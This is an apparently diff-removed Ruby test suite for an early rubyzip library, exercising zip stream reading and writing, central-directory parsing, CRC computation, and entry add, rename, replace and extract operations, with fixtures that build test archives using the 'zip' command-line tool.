- def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end 